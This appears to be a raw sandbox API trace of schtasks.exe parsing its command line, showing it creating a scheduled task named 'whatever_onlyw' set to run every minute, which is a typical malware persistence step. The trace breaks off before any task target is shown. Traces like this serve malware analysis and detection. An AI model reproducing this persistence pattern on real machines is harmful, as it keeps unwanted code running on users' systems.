RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165bd0 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165c00 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165c30 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165c60 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba50 [0126.884] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x208) returned 0x16bbf0 [0126.884] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0126.884] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0126.886] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0126.886] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0126.887] GetProcessHeap () returned 0x150000 [0126.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x74e) returned 0x16c1a0 [0126.887] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0126.887] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x16c1a0 | out: lpData=0x16c1a0) returned 1 [0126.888] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0126.888] VerQueryValueW (in: pBlock=0x16c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f7a8, puLen=0x13f810 | out: lplpBuffer=0x13f7a8*=0x16c53c, puLen=0x13f810) returned 1 [0126.899] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.899] _vsnwprintf (in: _Buffer=0x16bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f788 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0126.899] VerQueryValueW (in: pBlock=0x16c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f818, puLen=0x13f808 | out: lplpBuffer=0x13f818*=0x16c368, puLen=0x13f808) returned 1 [0126.900] lstrlenW (lpString="schtasks.exe") returned 12 [0126.900] lstrlenW (lpString="schtasks.exe") returned 12 [0126.900] lstrlenW (lpString=".EXE") returned 4 [0126.900] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0126.902] lstrlenW (lpString="schtasks.exe") returned 12 [0126.902] lstrlenW (lpString=".EXE") returned 4 [0126.902] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.902] lstrlenW (lpString="schtasks") returned 8 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165d50 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cab0 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cae0 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb10 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba70 [0126.903] _memicmp (_Buf1=0x16ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa0) returned 0x16bff0 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb40 [0126.903] GetProcessHeap () returned 0x150000 [0126.903] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb70 [0126.903] GetProcessHeap () returned 0x150000 [0126.904] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cba0 [0126.904] GetProcessHeap () returned 0x150000 [0126.904] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba90 [0126.904] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.904] GetProcessHeap () returned 0x150000 [0126.904] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x200) returned 0x16d280 [0126.904] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0126.904] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0126.904] GetProcessHeap () returned 0x150000 [0126.904] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x30) returned 0x167a50 [0126.904] _vsnwprintf (in: _Buffer=0x16bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f788 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0126.904] GetProcessHeap () returned 0x150000 [0126.904] GetProcessHeap () returned 0x150000 [0126.904] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1a0) returned 1 [0126.905] GetProcessHeap () returned 0x150000 [0126.905] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1a0) returned 0x74e [0126.905] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1a0 | out: hHeap=0x150000) returned 1 [0126.905] SetLastError (dwErrCode=0x0) [0126.905] GetThreadLocale () returned 0x409 [0126.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="?") returned 1 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="create") returned 6 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="delete") returned 6 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="query") returned 5 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="change") returned 6 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="run") returned 3 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="end") returned 3 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] lstrlenW (lpString="showsid") returned 7 [0126.906] GetThreadLocale () returned 0x409 [0126.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.906] SetLastError (dwErrCode=0x0) [0126.907] SetLastError (dwErrCode=0x0) [0126.907] lstrlenW (lpString="/create") returned 7 [0126.907] lstrlenW (lpString="-/") returned 2 [0126.907] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.907] lstrlenW (lpString="?") returned 1 [0126.907] lstrlenW (lpString="?") returned 1 [0126.907] GetProcessHeap () returned 0x150000 [0126.907] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16c1a0 [0126.907] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.907] GetProcessHeap () returned 0x150000 [0126.907] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa) returned 0x16c1c0 [0126.907] lstrlenW (lpString="create") returned 6 [0126.907] GetProcessHeap () returned 0x150000 [0126.907] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16c1e0 [0126.907] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.907] GetProcessHeap () returned 0x150000 [0126.907] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x14) returned 0x16c200 [0126.907] _vsnwprintf (in: _Buffer=0x16c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.907] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.907] lstrlenW (lpString="|?|") returned 3 [0126.907] lstrlenW (lpString="|create|") returned 8 [0126.907] SetLastError (dwErrCode=0x490) [0126.907] lstrlenW (lpString="create") returned 6 [0126.907] lstrlenW (lpString="create") returned 6 [0126.908] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.908] GetProcessHeap () returned 0x150000 [0126.908] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1c0) returned 1 [0126.908] GetProcessHeap () returned 0x150000 [0126.908] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16c1c0, Size=0x14) returned 0x16c220 [0126.908] lstrlenW (lpString="create") returned 6 [0126.908] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.908] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.908] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.908] lstrlenW (lpString="|create|") returned 8 [0126.908] lstrlenW (lpString="|create|") returned 8 [0126.908] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0126.908] SetLastError (dwErrCode=0x0) [0126.908] SetLastError (dwErrCode=0x0) [0126.908] SetLastError (dwErrCode=0x0) [0126.908] lstrlenW (lpString="/tn") returned 3 [0126.908] lstrlenW (lpString="-/") returned 2 [0126.908] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.908] lstrlenW (lpString="?") returned 1 [0126.908] lstrlenW (lpString="?") returned 1 [0126.908] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.908] lstrlenW (lpString="tn") returned 2 [0126.908] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.908] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.909] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.909] lstrlenW (lpString="|?|") returned 3 [0126.909] lstrlenW (lpString="|tn|") returned 4 [0126.909] SetLastError (dwErrCode=0x490) [0126.909] lstrlenW (lpString="create") returned 6 [0126.909] lstrlenW (lpString="create") returned 6 [0126.909] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.909] lstrlenW (lpString="tn") returned 2 [0126.909] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.909] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.910] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.910] lstrlenW (lpString="|create|") returned 8 [0126.910] lstrlenW (lpString="|tn|") returned 4 [0126.910] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0126.910] SetLastError (dwErrCode=0x490) [0126.910] lstrlenW (lpString="delete") returned 6 [0126.910] lstrlenW (lpString="delete") returned 6 [0126.910] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.910] lstrlenW (lpString="tn") returned 2 [0126.910] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.910] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|delete|") returned 8 [0126.910] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.910] lstrlenW (lpString="|delete|") returned 8 [0126.910] lstrlenW (lpString="|tn|") returned 4 [0126.910] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0126.910] SetLastError (dwErrCode=0x490) [0126.910] lstrlenW (lpString="query") returned 5 [0126.910] lstrlenW (lpString="query") returned 5 [0126.910] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.910] lstrlenW (lpString="tn") returned 2 [0126.910] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.911] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|query|") returned 7 [0126.911] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.911] lstrlenW (lpString="|query|") returned 7 [0126.911] lstrlenW (lpString="|tn|") returned 4 [0126.911] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0126.911] SetLastError (dwErrCode=0x490) [0126.911] lstrlenW (lpString="change") returned 6 [0126.911] lstrlenW (lpString="change") returned 6 [0126.911] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.911] lstrlenW (lpString="tn") returned 2 [0126.911] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.911] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|change|") returned 8 [0126.911] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.911] lstrlenW (lpString="|change|") returned 8 [0126.911] lstrlenW (lpString="|tn|") returned 4 [0126.911] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0126.911] SetLastError (dwErrCode=0x490) [0126.911] lstrlenW (lpString="run") returned 3 [0126.911] lstrlenW (lpString="run") returned 3 [0126.911] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.911] lstrlenW (lpString="tn") returned 2 [0126.911] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.911] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|run|") returned 5 [0126.911] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.911] lstrlenW (lpString="|run|") returned 5 [0126.911] lstrlenW (lpString="|tn|") returned 4 [0126.911] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0126.911] SetLastError (dwErrCode=0x490) [0126.911] lstrlenW (lpString="end") returned 3 [0126.912] lstrlenW (lpString="end") returned 3 [0126.912] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.912] lstrlenW (lpString="tn") returned 2 [0126.912] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.912] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|end|") returned 5 [0126.912] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.912] lstrlenW (lpString="|end|") returned 5 [0126.912] lstrlenW (lpString="|tn|") returned 4 [0126.912] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0126.912] SetLastError (dwErrCode=0x490) [0126.912] lstrlenW (lpString="showsid") returned 7 [0126.912] lstrlenW (lpString="showsid") returned 7 [0126.912] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.912] GetProcessHeap () returned 0x150000 [0126.912] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c220) returned 1 [0126.912] GetProcessHeap () returned 0x150000 [0126.912] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16c220, Size=0x16) returned 0x16c220 [0126.912] lstrlenW (lpString="tn") returned 2 [0126.912] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.912] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|showsid|") returned 9 [0126.913] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tn|") returned 4 [0126.913] lstrlenW (lpString="|showsid|") returned 9 [0126.913] lstrlenW (lpString="|tn|") returned 4 [0126.913] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0126.913] SetLastError (dwErrCode=0x490) [0126.913] SetLastError (dwErrCode=0x490) [0126.913] SetLastError (dwErrCode=0x0) [0126.913] lstrlenW (lpString="/tn") returned 3 [0126.913] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0126.913] SetLastError (dwErrCode=0x490) [0126.913] SetLastError (dwErrCode=0x0) [0126.913] lstrlenW (lpString="/tn") returned 3 [0126.913] GetProcessHeap () returned 0x150000 [0126.913] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16c1c0 [0126.913] GetProcessHeap () returned 0x150000 [0126.913] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cbd0 [0126.913] SetLastError (dwErrCode=0x0) [0126.913] SetLastError (dwErrCode=0x0) [0126.913] lstrlenW (lpString="whatever_onlyw") returned 14 [0126.913] lstrlenW (lpString="-/") returned 2 [0126.913] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0126.913] SetLastError (dwErrCode=0x490) [0126.913] SetLastError (dwErrCode=0x490) [0126.913] SetLastError (dwErrCode=0x0) [0126.913] lstrlenW (lpString="whatever_onlyw") returned 14 [0126.913] StrChrIW (lpStart="whatever_onlyw", wMatch=0x3a) returned 0x0 [0126.914] SetLastError (dwErrCode=0x490) [0126.914] SetLastError (dwErrCode=0x0) [0126.914] lstrlenW (lpString="whatever_onlyw") returned 14 [0126.914] GetProcessHeap () returned 0x150000 [0126.914] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x1e) returned 0x16cc00 [0126.945] GetProcessHeap () returned 0x150000 [0126.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc30 [0126.945] SetLastError (dwErrCode=0x0) [0126.945] SetLastError (dwErrCode=0x0) [0126.945] lstrlenW (lpString="/sc") returned 3 [0126.946] lstrlenW (lpString="-/") returned 2 [0126.946] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.946] lstrlenW (lpString="?") returned 1 [0126.946] lstrlenW (lpString="?") returned 1 [0126.946] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.946] lstrlenW (lpString="sc") returned 2 [0126.946] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.946] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.946] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.946] lstrlenW (lpString="|?|") returned 3 [0126.946] lstrlenW (lpString="|sc|") returned 4 [0126.946] SetLastError (dwErrCode=0x490) [0126.946] lstrlenW (lpString="create") returned 6 [0126.946] lstrlenW (lpString="create") returned 6 [0126.946] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.946] lstrlenW (lpString="sc") returned 2 [0126.946] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.946] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.946] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.946] lstrlenW (lpString="|create|") returned 8 [0126.946] lstrlenW (lpString="|sc|") returned 4 [0126.946] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0126.946] SetLastError (dwErrCode=0x490) [0126.946] lstrlenW (lpString="delete") returned 6 [0126.946] lstrlenW (lpString="delete") returned 6 [0126.946] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] lstrlenW (lpString="sc") returned 2 [0126.947] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|delete|") returned 8 [0126.947] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.947] lstrlenW (lpString="|delete|") returned 8 [0126.947] lstrlenW (lpString="|sc|") returned 4 [0126.947] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0126.947] SetLastError (dwErrCode=0x490) [0126.947] lstrlenW (lpString="query") returned 5 [0126.947] lstrlenW (lpString="query") returned 5 [0126.947] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] lstrlenW (lpString="sc") returned 2 [0126.947] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|query|") returned 7 [0126.947] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.947] lstrlenW (lpString="|query|") returned 7 [0126.947] lstrlenW (lpString="|sc|") returned 4 [0126.947] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0126.947] SetLastError (dwErrCode=0x490) [0126.947] lstrlenW (lpString="change") returned 6 [0126.947] lstrlenW (lpString="change") returned 6 [0126.947] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] lstrlenW (lpString="sc") returned 2 [0126.947] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.947] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|change|") returned 8 [0126.948] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.948] lstrlenW (lpString="|change|") returned 8 [0126.948] lstrlenW (lpString="|sc|") returned 4 [0126.948] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0126.948] SetLastError (dwErrCode=0x490) [0126.948] lstrlenW (lpString="run") returned 3 [0126.948] lstrlenW (lpString="run") returned 3 [0126.948] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.948] lstrlenW (lpString="sc") returned 2 [0126.948] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.948] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|run|") returned 5 [0126.948] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.948] lstrlenW (lpString="|run|") returned 5 [0126.948] lstrlenW (lpString="|sc|") returned 4 [0126.948] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0126.948] SetLastError (dwErrCode=0x490) [0126.948] lstrlenW (lpString="end") returned 3 [0126.948] lstrlenW (lpString="end") returned 3 [0126.948] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.948] lstrlenW (lpString="sc") returned 2 [0126.948] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.948] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|end|") returned 5 [0126.948] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.948] lstrlenW (lpString="|end|") returned 5 [0126.948] lstrlenW (lpString="|sc|") returned 4 [0126.948] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0126.948] SetLastError (dwErrCode=0x490) [0126.949] lstrlenW (lpString="showsid") returned 7 [0126.949] lstrlenW (lpString="showsid") returned 7 [0126.949] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.949] lstrlenW (lpString="sc") returned 2 [0126.949] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.949] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|showsid|") returned 9 [0126.949] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|sc|") returned 4 [0126.949] lstrlenW (lpString="|showsid|") returned 9 [0126.949] lstrlenW (lpString="|sc|") returned 4 [0126.949] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0126.949] SetLastError (dwErrCode=0x490) [0126.949] SetLastError (dwErrCode=0x490) [0126.949] SetLastError (dwErrCode=0x0) [0126.949] lstrlenW (lpString="/sc") returned 3 [0126.949] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0126.949] SetLastError (dwErrCode=0x490) [0126.949] SetLastError (dwErrCode=0x0) [0126.949] lstrlenW (lpString="/sc") returned 3 [0126.949] GetProcessHeap () returned 0x150000 [0126.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16c250 [0126.949] GetProcessHeap () returned 0x150000 [0126.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc60 [0126.949] SetLastError (dwErrCode=0x0) [0126.949] SetLastError (dwErrCode=0x0) [0126.949] lstrlenW (lpString="MINUTE") returned 6 [0126.949] lstrlenW (lpString="-/") returned 2 [0126.949] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0126.949] SetLastError (dwErrCode=0x490) [0126.950] SetLastError (dwErrCode=0x490) [0126.950] SetLastError (dwErrCode=0x0) [0126.950] lstrlenW (lpString="MINUTE") returned 6 [0126.950] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 